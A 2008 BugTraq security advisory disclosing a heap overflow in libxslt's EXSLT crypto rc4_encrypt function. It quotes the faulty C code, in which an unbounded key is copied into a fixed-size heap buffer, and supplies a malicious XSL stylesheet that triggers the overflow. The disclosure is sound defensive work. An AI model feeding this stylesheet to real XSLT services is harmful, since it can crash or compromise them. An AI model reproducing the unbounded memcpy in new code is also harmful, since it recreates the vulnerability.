BugTraq
libxslt heap overflow Aug 01 2008 01:03AM
chris scary beasts org
Hi,

A heap overflow exists in libxslt when processing a crypto-related
built-in function.

Full technical details:
http://scary.beasts.org/security/CESA-2008-003.html

The faulty code can be summarized:

static void
exsltCryptoRc4EncryptFunction (xmlXPathParserContextPtr ctxt, int nargs) {
...
key = xmlXPathPopString (ctxt);
key_len = xmlUTF8Strlen (str);

...
padkey = xmlMallocAtomic (RC4_KEY_LENGTH);
key_size = xmlUTF8Strsize (key, key_len);
memcpy (padkey, key, key_size);
memset (padkey + key_size, '\0', sizeof (padkey));
...

A statically-sized heap buffer is populated with an arbitrary-length
string from an incoming XSL function argument.

And the malicious XSL to trigger this:

<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"

xmlns:str="http://exslt.org/strings"
xmlns:crypto="http://exslt.org/crypto"
xmlns:math="http://exslt.org/math"

extension-element-prefixes="str crypto math">
<xsl:template match="/">
<xsl:value-of
select="crypto:rc4_encrypt('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAA',
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')"/>

blah
</xsl:template>
</xsl:stylesheet>

Blog post for this, and future issues (with RSS):
http://scarybeastsecurity.blogspot.com/2008/07/buffer-overflow-in-libxsl
t.html
http://scarybeastsecurity.blogspot.com/

Cheers
Chris

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